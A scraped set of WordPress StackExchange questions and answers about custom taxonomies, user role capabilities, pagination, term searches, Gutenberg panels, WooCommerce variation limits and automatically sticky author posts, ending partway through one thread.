"text": "<p>Because Category is a specific <a href=\"https://codex.wordpress.org/Taxonomies\" rel=\"noreferrer\">taxonomy</a>, not just a piece of general 'functionality' that you can add to post types. </p>\n\n<p>When you add <code>category</code> to <code>taxonomies</code> for your post type you're registering the Category taxonomy that already exists for Posts for your post type.</p>\n\n<p>If you want to have separate Categories for your post type you need to register a <em>custom taxonomy</em> with <a href=\"https://developer.wordpress.org/reference/functions/register_taxonomy/\" rel=\"noreferrer\"><code>register_taxonomy()</code></a>. Something like <code>video_category</code>.</p>\n"
},
{
"answer_id": 303946,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 1,
"selected": false,
"text": "<p>In Your arguments you give default taxonomies name. Like:</p>\n\n<pre><code>'taxonomies' => array( 'category' ), \n</code></pre>\n\n<p>Here you pass the your custom taxonomies slug name. Like:</p>\n\n<pre><code>'taxonomies' => array( 'custom-taxonomies-slug' ),\n</code></pre>\n\n<p>So first you create custom taxonomies where you create your custom post-type</p>\n\n<p>Reference: <a href=\"https://codex.wordpress.org/Function_Reference/register_taxonomy\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_taxonomy</a> </p>\n"
}
]
| 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304107",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143079/"
]
| I am new to ACF and Custom Post Types and novice at best with PHP & Coding.
I need help to make `the_field` linked on my front end display. I also want to show the link as the link text.
```
<?php
if( get_field('svcta_contact_information_group_svcta_contact_website')) {
echo '<div class="svcta-contact-website" id="svcta-id-contact-website">';
echo '<strong>Contact Website:</strong> ';
the_field('svcta_contact_information_group_svcta_contact_website');
echo '</div>';
}
?>
```
Thanks for the help. | Because Category is a specific [taxonomy](https://codex.wordpress.org/Taxonomies), not just a piece of general 'functionality' that you can add to post types.
When you add `category` to `taxonomies` for your post type you're registering the Category taxonomy that already exists for Posts for your post type.
If you want to have separate Categories for your post type you need to register a *custom taxonomy* with [`register_taxonomy()`](https://developer.wordpress.org/reference/functions/register_taxonomy/). Something like `video_category`. |
304,117 | <p>Sorry for what is probably a very basic question - I've managed my own WP site for a fair while now and am bringing a colleague on to help as I'm undertaking a project at work which will take up more of my time. </p>
<p>I'm trying to decide if I should give my colleague admin or editor access. Am I right in saying an editor cannot touch appearances, widgets etc? </p>
<hr>
<p>Thanks for your help - there is so much info out there it is hard to know what is and is not a viable source.</p>
<p>Is there anyway to edit the role to allow the user to edit a single appearance area such as widgets? </p>
| [
{
"answer_id": 304118,
"author": "Iceable",
"author_id": 136263,
"author_profile": "https://wordpress.stackexchange.com/users/136263",
"pm_score": 2,
"selected": false,
"text": "<p>You are right indeed, users with the <code>\"editor\"</code> role do not have the <code>'edit_theme_options'</code> capability, which is required to access the following:</p>\n\n<pre><code>Appearance > Widgets\nAppearance > Menus\nAppearance > Customize if they are supported by the current theme\nAppearance > Background\nAppearance > Header\n</code></pre>\n\n<p>(<a href=\"https://codex.wordpress.org/Roles_and_Capabilities#edit_theme_options\" rel=\"nofollow noreferrer\">source</a>)</p>\n\n<p>For a complete reference of roles and capabilities, and what each capability stands for, you can refer to this page in the codex: <a href=\"https://codex.wordpress.org/Roles_and_Capabilities\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Roles_and_Capabilities</a></p>\n\n<p>Alternatively, you can also create a dummy user, give it the editor role (or any other), and login as this user so you can see for yourself exactly what you can and cannot access.</p>\n\n<p>In case the built-in roles and capabilities won't give you the exact combination of accesses and restrictions you are looking for, you can also edit them so they fit your needs.</p>\n\n<p>There are plugins for this. This is not a place to recommend a specific plugin, but a Google search for something like \"WordPress plugin edit user roles\" should help.</p>\n"
},
{
"answer_id": 304134,
"author": "HeroWeb512",
"author_id": 102280,
"author_profile": "https://wordpress.stackexchange.com/users/102280",
"pm_score": 0,
"selected": false,
"text": "<p>You can add the capability to any user role as like an example code below</p>\n\n<pre><code> function add_custom_caps() {\n // gets the editor role\n $role = get_role( 'editor' );\n $role->add_cap( 'edit_theme_options' ); \n }\nadd_action( 'admin_init', 'add_custom_caps');\n</code></pre>\n\n<p><strong>Note:</strong> Use this code to your theme's functions.php file.\nHope this will help a lot.</p>\n\n<p><strong>Reference Links</strong> </p>\n\n<p><a href=\"https://codex.wordpress.org/Roles_and_Capabilities\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Roles_and_Capabilities</a>\n<a href=\"https://codex.wordpress.org/Function_Reference/add_cap\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/add_cap</a></p>\n"
}
]
| 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144037/"
]
| Sorry for what is probably a very basic question - I've managed my own WP site for a fair while now and am bringing a colleague on to help as I'm undertaking a project at work which will take up more of my time.
I'm trying to decide if I should give my colleague admin or editor access. Am I right in saying an editor cannot touch appearances, widgets etc?
---
Thanks for your help - there is so much info out there it is hard to know what is and is not a viable source.
Is there anyway to edit the role to allow the user to edit a single appearance area such as widgets? | You are right indeed, users with the `"editor"` role do not have the `'edit_theme_options'` capability, which is required to access the following:
```
Appearance > Widgets
Appearance > Menus
Appearance > Customize if they are supported by the current theme
Appearance > Background
Appearance > Header
```
([source](https://codex.wordpress.org/Roles_and_Capabilities#edit_theme_options))
For a complete reference of roles and capabilities, and what each capability stands for, you can refer to this page in the codex: <https://codex.wordpress.org/Roles_and_Capabilities>
Alternatively, you can also create a dummy user, give it the editor role (or any other), and login as this user so you can see for yourself exactly what you can and cannot access.
In case the built-in roles and capabilities won't give you the exact combination of accesses and restrictions you are looking for, you can also edit them so they fit your needs.
There are plugins for this. This is not a place to recommend a specific plugin, but a Google search for something like "WordPress plugin edit user roles" should help. |
304,137 | <p>I need to solve duplicating of posts and pages caused by unexpected paging. I am trying to disable the paging with this function, but it seems I miss something:</p>
<pre><code>function wpse_disable_pagination( $query ) {
if( $query->is_single() && $query->is_page() ) {
$query->set('nopaging', 1 );
}
}
add_action( 'pre_get_posts', 'wpse_disable_pagination' );
</code></pre>
| [
{
"answer_id": 304140,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 1,
"selected": false,
"text": "<pre><code>function wpse_disable_pagination( $query ) {\n if( $query->is_single() && $query->is_page() ) {\n $query->set( 'nopaging' , true );\n }\n}\nadd_action( 'pre_get_posts', 'wpse_disable_pagination' );\n</code></pre>\n\n<p><strong>NOTE: nopaging (boolean) - show all posts or use pagination. Default value is 'false', use paging.</strong></p>\n"
},
{
"answer_id": 304158,
"author": "tw8sw8dw8",
"author_id": 102523,
"author_profile": "https://wordpress.stackexchange.com/users/102523",
"pm_score": 1,
"selected": true,
"text": "<p>I found the right solution, thanks to <a href=\"https://perishablepress.com/wordpress-infinite-duplicate-content/\" rel=\"nofollow noreferrer\">Jeff Morris</a>:</p>\n\n<pre><code>global $posts, $numpages;\n\n $request_uri = $_SERVER['REQUEST_URI'];\n\n $result = preg_match('%\\/(\\d)+(\\/)?$%', $request_uri, $matches);\n\n $ordinal = $result ? intval($matches[1]) : FALSE;\n\n if(is_numeric($ordinal)) {\n\n // a numbered page was requested: validate it\n // look-ahead: initialises the global $numpages\n\n setup_postdata($posts[0]); // yes, hack\n\n $redirect_to = ($ordinal < 2) ? '/': (($ordinal > $numpages) ? \"/$numpages/\" : FALSE);\n\n if(is_string($redirect_to)) {\n\n // we got us a phantom\n $redirect_url = get_option('home') . preg_replace('%'.$matches[0].'%', $redirect_to, $request_uri);\n\n // if page = 0 or 1, redirect permanently\n if($ordinal < 2) {\n header($_SERVER['SERVER_PROTOCOL'] . ' 301 Moved Permanently');\n } else {\n header($_SERVER['SERVER_PROTOCOL'] . ' 302 Found');\n }\n\n header(\"Location: $redirect_url\");\n exit();\n\n }\n }\n</code></pre>\n"
}
]
| 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304137",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102523/"
]
| I need to solve duplicating of posts and pages caused by unexpected paging. I am trying to disable the paging with this function, but it seems I miss something:
```
function wpse_disable_pagination( $query ) {
if( $query->is_single() && $query->is_page() ) {
$query->set('nopaging', 1 );
}
}
add_action( 'pre_get_posts', 'wpse_disable_pagination' );
``` | I found the right solution, thanks to [Jeff Morris](https://perishablepress.com/wordpress-infinite-duplicate-content/):
```
global $posts, $numpages;
$request_uri = $_SERVER['REQUEST_URI'];
$result = preg_match('%\/(\d)+(\/)?$%', $request_uri, $matches);
$ordinal = $result ? intval($matches[1]) : FALSE;
if(is_numeric($ordinal)) {
// a numbered page was requested: validate it
// look-ahead: initialises the global $numpages
setup_postdata($posts[0]); // yes, hack
$redirect_to = ($ordinal < 2) ? '/': (($ordinal > $numpages) ? "/$numpages/" : FALSE);
if(is_string($redirect_to)) {
// we got us a phantom
$redirect_url = get_option('home') . preg_replace('%'.$matches[0].'%', $redirect_to, $request_uri);
// if page = 0 or 1, redirect permanently
if($ordinal < 2) {
header($_SERVER['SERVER_PROTOCOL'] . ' 301 Moved Permanently');
} else {
header($_SERVER['SERVER_PROTOCOL'] . ' 302 Found');
}
header("Location: $redirect_url");
exit();
}
}
``` |
304,173 | <p>In my theme's <code>search.php</code> I have a section set up to show terms that fit the search. I want the term to show up IF the <code>$keyword</code> appears in the term's title or its description. I have it set up to do just that but if feels clunky to me to have to do two separate queries then prune the results to make sure each term is only displayed once.</p>
<pre><code> $search_matters_args = array(
'taxonomy' => array('book', 'magazine'), // taxonomies to search
'orderby' => 'id',
'order' => 'ASC',
'hide_empty' => false,
'fields' => 'all',
'number' => 8,
'name__like' => $keyword,
);
$name_search = new WP_Term_Query($search_matters_args);
/*--- Query again on description ---*/
$search_matters_args['name__like'] = ''; // Override for next query
$search_matters_args['description__like'] = $keyword; // Override for next query
$desc_search = new WP_Term_Query($search_matters_args);
$books_and_magazines = array_merge($name_search->terms, $desc_search->terms);
$filtered_topics = array();
if (!empty($books_and_magazines) && !is_wp_error($books_and_magazines)) {
$unique_ids = array();
for ($i=0; $i < count($books_and_magazines); $i++) {
$termID = $books_and_magazines[$i]->term_id;
if (in_array($termID, $unique_ids)) {
continue;
} else {
$unique_ids[] = $termID;
$filtered_topics[] = $books_and_magazines[$i];
}
} // End For loop
$books_and_magazines = $filtered_topics;
} // End if $books_and_magazines is not empty or WP Error
</code></pre>
<p>Is there a more efficient way to query based on both? Thank you!</p>
| [
{
"answer_id": 309461,
"author": "harisrozak",
"author_id": 98662,
"author_profile": "https://wordpress.stackexchange.com/users/98662",
"pm_score": 1,
"selected": false,
"text": "<p>I don't see any options for WordPress to search terms by both of name & description. So i combined 2 queries like @StephanieQ but maybe more simple way, checkout my ajax response below:</p>\n\n<pre><code>public function ajax_project_terms_search() {\n $results = array();\n $search_query = sanitize_text_field($_GET['q']);\n $withname = intval($_GET['withname']);\n $search_keys = array('name__like', 'description__like');\n $exclude = array();\n\n foreach ($search_keys as $search_key) {\n $terms = get_terms( array(\n 'taxonomy' => 'project',\n 'hide_empty' => false,\n 'number' => 8,\n 'exclude' => $exclude,\n $search_key => $search_query,\n ));\n\n // create results\n foreach ($terms as $term) {\n $exclude[] = $term->term_id;\n $results[] = array(\n 'id' => isset($_GET['return_id']) ? $term->term_id : $term->slug,\n 'text' => $withname ? $term->name . ' - ' . $term->description : $term->name,\n );\n }\n }\n\n wp_send_json($results);\n wp_die();\n}\n</code></pre>\n"
},
{
"answer_id": 380833,
"author": "Rohit Ramani",
"author_id": 133878,
"author_profile": "https://wordpress.stackexchange.com/users/133878",
"pm_score": 0,
"selected": false,
"text": "<p>I have also search for this but did not find solution, @harisrozak solution is great, but I need to also use order by.</p>\n<p>so I had develop custom query for that as below.</p>\n<pre><code>function searchterm(){\n\nglobal $wpdb;\n\n$search_query = sanitize_text_field($_GET['q']);\n\n$query = "SELECT DISTINCT t.*, tt.* FROM wp_terms AS t INNER JOIN wp_termmeta ON ( t.term_id = wp_termmeta.term_id ) INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ('category') AND (t.name LIKE 'search_query%' OR tt.description LIKE 'search_query%') AND ( \n wp_termmeta.meta_key = 'mata_key'\n) ORDER BY wp_termmeta.meta_value+0 DESC limit 10"\n\n$the_query = $wpdb->get_results($query);\n\nwp_send_json($the_query);\nwp_die();\n\n}\n</code></pre>\n<p>I hope someone get help by this.</p>\n"
}
]
| 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304173",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/109262/"
]
| In my theme's `search.php` I have a section set up to show terms that fit the search. I want the term to show up IF the `$keyword` appears in the term's title or its description. I have it set up to do just that but if feels clunky to me to have to do two separate queries then prune the results to make sure each term is only displayed once.
```
$search_matters_args = array(
'taxonomy' => array('book', 'magazine'), // taxonomies to search
'orderby' => 'id',
'order' => 'ASC',
'hide_empty' => false,
'fields' => 'all',
'number' => 8,
'name__like' => $keyword,
);
$name_search = new WP_Term_Query($search_matters_args);
/*--- Query again on description ---*/
$search_matters_args['name__like'] = ''; // Override for next query
$search_matters_args['description__like'] = $keyword; // Override for next query
$desc_search = new WP_Term_Query($search_matters_args);
$books_and_magazines = array_merge($name_search->terms, $desc_search->terms);
$filtered_topics = array();
if (!empty($books_and_magazines) && !is_wp_error($books_and_magazines)) {
$unique_ids = array();
for ($i=0; $i < count($books_and_magazines); $i++) {
$termID = $books_and_magazines[$i]->term_id;
if (in_array($termID, $unique_ids)) {
continue;
} else {
$unique_ids[] = $termID;
$filtered_topics[] = $books_and_magazines[$i];
}
} // End For loop
$books_and_magazines = $filtered_topics;
} // End if $books_and_magazines is not empty or WP Error
```
Is there a more efficient way to query based on both? Thank you! | I don't see any options for WordPress to search terms by both of name & description. So i combined 2 queries like @StephanieQ but maybe more simple way, checkout my ajax response below:
```
public function ajax_project_terms_search() {
$results = array();
$search_query = sanitize_text_field($_GET['q']);
$withname = intval($_GET['withname']);
$search_keys = array('name__like', 'description__like');
$exclude = array();
foreach ($search_keys as $search_key) {
$terms = get_terms( array(
'taxonomy' => 'project',
'hide_empty' => false,
'number' => 8,
'exclude' => $exclude,
$search_key => $search_query,
));
// create results
foreach ($terms as $term) {
$exclude[] = $term->term_id;
$results[] = array(
'id' => isset($_GET['return_id']) ? $term->term_id : $term->slug,
'text' => $withname ? $term->name . ' - ' . $term->description : $term->name,
);
}
}
wp_send_json($results);
wp_die();
}
``` |
304,211 | <p>I'm adding a new panel to a Gutenberg block through the <code>editor.BlockEdit</code> wp.block filter. </p>
<pre><code><InspectorControls>
<PanelBody title={ __( 'New Settings' ) } initialOpen={ false } >
...
</PanelBody>
</InspectorControls>
</code></pre>
<p>The new panel appears on top of the default panels. Is there any way to change the order? To make it show below other panels? I did not find any documentation about this..</p>
| [
{
"answer_id": 314765,
"author": "Ashiquzzaman Kiron",
"author_id": 78505,
"author_profile": "https://wordpress.stackexchange.com/users/78505",
"pm_score": -1,
"selected": true,
"text": "<pre><code> <InspectorControls>\n\n <PanelBody title={ __( 'Settings One' ) }>\n </PanelBody>\n\n <PanelBody title={ __( 'Settings Two' ) }>\n </PanelBody>\n\n <PanelBody title={ __( 'Settings Three' ) >\n </PanelBody>\n\n </InspectorControls>\n</code></pre>\n\n<p>If you insert multiple Panelbody like I did in above code. You will have multiple inspector controls with first one being ope by default. Change the panelbody accordingly to match your desired order.</p>\n"
},
{
"answer_id": 410577,
"author": "Lovor",
"author_id": 135704,
"author_profile": "https://wordpress.stackexchange.com/users/135704",
"pm_score": 0,
"selected": false,
"text": "<p>Again very late for such a question, but since there is no answer YET..</p>\n<p>There is <strong>undocumented</strong> attribute <code>__experimentalGroup</code> which can be used on <code>InspectorControls</code> like this:</p>\n<pre><code><InspectorControls __experimentalGroup="typography">\n// panels inside\n</InspectorControls>\n</code></pre>\n<p>You can find list of groups by inspecting with React developer tools, some common are <code>color</code> and <code>typography</code>. By applying above attribute, setting is applied on the end of group. Some css tweaking may be needed, as default panels have a little different css classes.</p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304211",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1613/"
]
| I'm adding a new panel to a Gutenberg block through the `editor.BlockEdit` wp.block filter.
```
<InspectorControls>
<PanelBody title={ __( 'New Settings' ) } initialOpen={ false } >
...
</PanelBody>
</InspectorControls>
```
The new panel appears on top of the default panels. Is there any way to change the order? To make it show below other panels? I did not find any documentation about this.. | ```
<InspectorControls>
<PanelBody title={ __( 'Settings One' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Two' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Three' ) >
</PanelBody>
</InspectorControls>
```
If you insert multiple Panelbody like I did in above code. You will have multiple inspector controls with first one being ope by default. Change the panelbody accordingly to match your desired order. |
304,213 | <p>How to get the last added meta value by post id</p>
<p>This is what I have tried so far:</p>
<pre><code> $args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'picture_upload_1'
);
$dbResult = new WP_Query($args);
var_dump($dbResult);
</code></pre>
<p>but I am not receiving the meta value</p>
| [
{
"answer_id": 314765,
"author": "Ashiquzzaman Kiron",
"author_id": 78505,
"author_profile": "https://wordpress.stackexchange.com/users/78505",
"pm_score": -1,
"selected": true,
"text": "<pre><code> <InspectorControls>\n\n <PanelBody title={ __( 'Settings One' ) }>\n </PanelBody>\n\n <PanelBody title={ __( 'Settings Two' ) }>\n </PanelBody>\n\n <PanelBody title={ __( 'Settings Three' ) >\n </PanelBody>\n\n </InspectorControls>\n</code></pre>\n\n<p>If you insert multiple Panelbody like I did in above code. You will have multiple inspector controls with first one being ope by default. Change the panelbody accordingly to match your desired order.</p>\n"
},
{
"answer_id": 410577,
"author": "Lovor",
"author_id": 135704,
"author_profile": "https://wordpress.stackexchange.com/users/135704",
"pm_score": 0,
"selected": false,
"text": "<p>Again very late for such a question, but since there is no answer YET..</p>\n<p>There is <strong>undocumented</strong> attribute <code>__experimentalGroup</code> which can be used on <code>InspectorControls</code> like this:</p>\n<pre><code><InspectorControls __experimentalGroup="typography">\n// panels inside\n</InspectorControls>\n</code></pre>\n<p>You can find list of groups by inspecting with React developer tools, some common are <code>color</code> and <code>typography</code>. By applying above attribute, setting is applied on the end of group. Some css tweaking may be needed, as default panels have a little different css classes.</p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304213",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144109/"
]
| How to get the last added meta value by post id
This is what I have tried so far:
```
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'picture_upload_1'
);
$dbResult = new WP_Query($args);
var_dump($dbResult);
```
but I am not receiving the meta value | ```
<InspectorControls>
<PanelBody title={ __( 'Settings One' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Two' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Three' ) >
</PanelBody>
</InspectorControls>
```
If you insert multiple Panelbody like I did in above code. You will have multiple inspector controls with first one being ope by default. Change the panelbody accordingly to match your desired order. |
304,237 | <p>I want to increase the product variation limit in woocomerce.</p>
<p>In existing woocommerce code, The product variation limit is 100.</p>
<pre><code>$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 100, $this->get_normalized_rest_base() );
</code></pre>
<p>I changed the existing code product variation limit as 100 to 200.</p>
<pre><code>$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 200, $this->get_normalized_rest_base() );
</code></pre>
<p>It works but when I update my woocommerce plugin existing code changes are removed.</p>
<p>So I want that changes in function.php file. How to do it.</p>
<p><strong>Base Code
( wordpress/plugin/woocommerce/includes/abstract/abstract-wc-rest-controller )</strong></p>
<pre><code>protected function check_batch_limit( $items ) {
$limit = apply_filters( 'woocommerce_rest_batch_items_limit', 100, $this->get_normalized_rest_base() );
$total = 0;
if ( ! empty( $items['create'] ) ) {
$total += count( $items['create'] );
}
if ( ! empty( $items['update'] ) ) {
$total += count( $items['update'] );
}
if ( ! empty( $items['delete'] ) ) {
$total += count( $items['delete'] );
}
if ( $total > $limit ) {
/* translators: %s: items limit */
return new WP_Error( 'woocommerce_rest_request_entity_too_large', sprintf( __( 'Unable to accept more than %s items for this request.', 'woocommerce' ), $limit ), array( 'status' => 413 ) );
}
return true;
}
</code></pre>
| [
{
"answer_id": 304238,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 1,
"selected": false,
"text": "<p>This is what the <code>apply_filters()</code> call is for. It's a <a href=\"https://developer.wordpress.org/plugins/hooks/\" rel=\"nofollow noreferrer\">hook</a> that lets you modify the value.</p>\n\n<p>In this case you want to use <code>add_filter()</code> with the <code>woocommerce_rest_batch_items_limit</code> hook name as the first argument, and then a <a href=\"http://php.net/manual/en/language.types.callable.php\" rel=\"nofollow noreferrer\">callback function</a> that returns a modified value:</p>\n\n<pre><code>function wpse_304237_rest_batch_items_limit( $limit ) {\n $limit = 200;\n\n return $limit;\n}\nadd_filter( 'woocommerce_rest_batch_items_limit', 'wpse_304237_rest_batch_items_limit' );\n</code></pre>\n\n<p>Hooks are the main way themes and plugins integrate with WordPress and eachother, so if you want to start doing custom development on WordPress or WooCommerce I'd make learning them a priority.</p>\n"
},
{
"answer_id": 305411,
"author": "kirubanidhi",
"author_id": 144129,
"author_profile": "https://wordpress.stackexchange.com/users/144129",
"pm_score": 1,
"selected": false,
"text": "<p>We resolve the problem. We created the new plugin named as product-variation-limit-plugin and after then create a new file name as product-variation-limit-plugin.php. Added below code inside of the PHP file.</p>\n\n<p>http://woocommerce.com\n description: This plugin is used for increase the product variation limit while export product from odoo to woocommerce\n Version: 1.0\n Author: Sodexis PVT Ltd\n Author URI: <a href=\"http://woocommerce.com\" rel=\"nofollow noreferrer\">http://woocommerce.com</a>\n License: GPL2\n */</p>\n\n<pre><code>function wpse_rest_batch_items_limit( $limit ) {\n $limit = 200;\n\n return $limit;\n}\nadd_filter( 'woocommerce_rest_batch_items_limit', 'wpse_rest_batch_items_limit' );\n</code></pre>\n\n<p>We checked on it. The problem was product variant is not synced from Odoo to woo commerce so we created this plugin. It is working properly.</p>\n"
},
{
"answer_id": 342132,
"author": "pogla",
"author_id": 171267,
"author_profile": "https://wordpress.stackexchange.com/users/171267",
"pm_score": -1,
"selected": false,
"text": "<p>For all of those who want to use plugin instead, I created it: <a href=\"https://wordpress.org/plugins/increase-product-variation-limit-for-woocommerce/\" rel=\"nofollow noreferrer\">Increase Product Variation Limit For Woocommerce</a></p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304237",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144129/"
]
| I want to increase the product variation limit in woocomerce.
In existing woocommerce code, The product variation limit is 100.
```
$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 100, $this->get_normalized_rest_base() );
```
I changed the existing code product variation limit as 100 to 200.
```
$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 200, $this->get_normalized_rest_base() );
```
It works but when I update my woocommerce plugin existing code changes are removed.
So I want that changes in function.php file. How to do it.
**Base Code
( wordpress/plugin/woocommerce/includes/abstract/abstract-wc-rest-controller )**
```
protected function check_batch_limit( $items ) {
$limit = apply_filters( 'woocommerce_rest_batch_items_limit', 100, $this->get_normalized_rest_base() );
$total = 0;
if ( ! empty( $items['create'] ) ) {
$total += count( $items['create'] );
}
if ( ! empty( $items['update'] ) ) {
$total += count( $items['update'] );
}
if ( ! empty( $items['delete'] ) ) {
$total += count( $items['delete'] );
}
if ( $total > $limit ) {
/* translators: %s: items limit */
return new WP_Error( 'woocommerce_rest_request_entity_too_large', sprintf( __( 'Unable to accept more than %s items for this request.', 'woocommerce' ), $limit ), array( 'status' => 413 ) );
}
return true;
}
``` | This is what the `apply_filters()` call is for. It's a [hook](https://developer.wordpress.org/plugins/hooks/) that lets you modify the value.
In this case you want to use `add_filter()` with the `woocommerce_rest_batch_items_limit` hook name as the first argument, and then a [callback function](http://php.net/manual/en/language.types.callable.php) that returns a modified value:
```
function wpse_304237_rest_batch_items_limit( $limit ) {
$limit = 200;
return $limit;
}
add_filter( 'woocommerce_rest_batch_items_limit', 'wpse_304237_rest_batch_items_limit' );
```
Hooks are the main way themes and plugins integrate with WordPress and eachother, so if you want to start doing custom development on WordPress or WooCommerce I'd make learning them a priority. |
304,263 | <p>We say if a user has user role author then all his new posts will automaticly be sticky.</p>
<p>How can i do that?</p>
| [
{
"answer_id": 304292,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like it is possible. </p>\n\n<p>Sticky posts are stored as array of IDs in an option called 'sticky_posts`, and you can modify options using hooks, so... There is a chance that something like this would work:</p>\n\n<pre><code>function fake_sticky_posts_for_author() {\n $user = wp_get_current_user();\n\n if ( get_current_user_id() && in_array('author', $user->roles) ) {\n // Return the IDs of posts that you want to see as sticky\n // For example this gets posts of currently logged in user\n return get_posts( array(\n 'author' => get_current_user_id(),\n 'fields' => 'ids',\n 'posts_per_page' => -1\n ) );\n }\n\n return false;\n}\nadd_filter( 'pre_option_sticky_posts', 'fake_sticky_posts_for_author' );\n// we use pre_option_sticky_posts in here, since we want to ignore value of this option, so there is no point to load it\n</code></pre>\n\n<p>On the other hand, if you want to set all posts that are written by any author as sticky, then there's another approach that might be better (more efficient). You can check during <code>save_post</code> if author has given role and set it as sticky if so:</p>\n\n<pre><code>function stick_authors_posts_automatically($post_id) {\n // If this is just a revision, don't do anything\n if ( wp_is_post_revision( $post_id ) )\n return;\n\n $user = new WP_User( get_post_field ('post_author', $post_id) );\n\n if ( in_array('author', $user->roles) ) { \n // stick the post\n stick_post( $post_id ); \n }\n}\nadd_action( 'save_post', 'stick_authors_posts_automatically' );\n</code></pre>\n\n<p>Disclaimer: This code isn't tested, so there may be some typos, etc. But idea is clear, I hope :)</p>\n"
},
{
"answer_id": 304380,
"author": "ANdy",
"author_id": 138704,
"author_profile": "https://wordpress.stackexchange.com/users/138704",
"pm_score": 1,
"selected": true,
"text": "<pre><code>add_action('save_post', 'mo_make_it_sticky_if_role');\nfunction mo_make_it_sticky_if_role( $post_id ) {\n if( current_user_can('author') ) {\n stick_post( $post_id );\n }\n}\n</code></pre>\n\n<p>If the user has user role <em>author</em> and he creates a new post then it gets sticky as default even if he uses somecind of fron-end post creator.<br>\nIt will only work if the <em>author</em> makes a new post.<br>\nHis old posts which he created before this function was added will not get sticky.</p>\n"
}
]
| 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304263",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/138704/"
]
| We say if a user has user role author then all his new posts will automaticly be sticky.
How can i do that? | ```
add_action('save_post', 'mo_make_it_sticky_if_role');
function mo_make_it_sticky_if_role( $post_id ) {
if( current_user_can('author') ) {
stick_post( $post_id );
}
}
```
If the user has user role *author* and he creates a new post then it gets sticky as default even if he uses somecind of fron-end post creator.
It will only work if the *author* makes a new post.
His old posts which he created before this function was added will not get sticky. |
304,277 | <p>i have created my own theme for my woocommerce store i'm facing a layout issue in the checkout page, after debugging in chrome tools somehow i find out that the default main div is set to col-1 and if i were to edit it to col-12 that would fix the issue here however i'm using shortcode to use the woocommerce checkout functionality so i dont really have checkout page file and so not able to edit/override the checkout page so please if anyone can help me on how to set the default div from col-1 to be col-12 would be much appreciable.
Thanks.</p>
<p><a href="https://i.stack.imgur.com/8HE7s.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8HE7s.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 304292,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like it is possible. </p>\n\n<p>Sticky posts are stored as array of IDs in an option called 'sticky_posts`, and you can modify options using hooks, so... There is a chance that something like this would work:</p>\n\n<pre><code>function fake_sticky_posts_for_author() {\n $user = wp_get_current_user();\n\n if ( get_current_user_id() && in_array('author', $user->roles) ) {\n // Return the IDs of posts that you want to see as sticky\n // For example this gets posts of currently logged in user\n return get_posts( array(\n 'author' => get_current_user_id(),\n 'fields' => 'ids',\n 'posts_per_page' => -1\n ) );\n }\n\n return false;\n}\nadd_filter( 'pre_option_sticky_posts', 'fake_sticky_posts_for_author' );\n// we use pre_option_sticky_posts in here, since we want to ignore value of this option, so there is no point to load it\n</code></pre>\n\n<p>On the other hand, if you want to set all posts that are written by any author as sticky, then there's another approach that might be better (more efficient). You can check during <code>save_post</code> if author has given role and set it as sticky if so:</p>\n\n<pre><code>function stick_authors_posts_automatically($post_id) {\n // If this is just a revision, don't do anything\n if ( wp_is_post_revision( $post_id ) )\n return;\n\n $user = new WP_User( get_post_field ('post_author', $post_id) );\n\n if ( in_array('author', $user->roles) ) { \n // stick the post\n stick_post( $post_id ); \n }\n}\nadd_action( 'save_post', 'stick_authors_posts_automatically' );\n</code></pre>\n\n<p>Disclaimer: This code isn't tested, so there may be some typos, etc. But idea is clear, I hope :)</p>\n"
},
{
"answer_id": 304380,
"author": "ANdy",
"author_id": 138704,
"author_profile": "https://wordpress.stackexchange.com/users/138704",
"pm_score": 1,
"selected": true,
